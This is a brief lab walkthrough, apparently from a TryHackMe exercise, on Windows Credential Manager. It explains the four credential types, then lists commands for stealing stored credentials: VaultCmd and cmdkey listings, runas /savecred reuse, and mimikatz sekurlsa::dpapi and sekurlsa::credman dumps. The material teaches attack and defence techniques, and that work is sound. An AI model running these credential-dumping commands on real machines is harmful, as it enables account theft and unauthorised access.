Credential Manager is a Windows feature that stores logon-sensitive information for websites, applications, and networks. It contains login credentials such as usernames, passwords, and internet addresses. There are four credential categories:
Web credentials contain authentication details stored in Internet browsers or other applications.
Windows credentials contain Windows authentication details, such as NTLM or Kerberos.
Generic credentials contain basic authentication details, such as clear-text usernames and passwords.
Certificate-based credentials: Athunticated details based on certifications.
Practice
On Windows systems Vaultcmd & cmdkey can be used to list credentials.
# List vaultsC:\Users\Administrator> VaultCmd/list# Extract and decrypt all master keyssekurlsa::dpapi# List property of a vaultC:\Users\Administrator> VaultCmd/listproperties:"Web Credentials"# List creds in a vaultC:\Users\Administrator> VaultCmd/listcreds:"Web Credentials"# List creds with cmdkeyC:\Users\Administrator> cmdkey/list
Vaultcmd can't show credentials. We have to use alternate methods such as Get-WebCredentials.ps1
An alternative method of taking advantage of stored credentials is by using RunAs
# Runas with saved credential for "THM.red\thm-local"C:\Users\Administrator> runas/savecred/user:THM.red\thm-localcmd.exe# We also can use mimikatz to dump credsmimikatz#privilege::debugPrivilege'20'OKmimikatz#sekurlsa::credman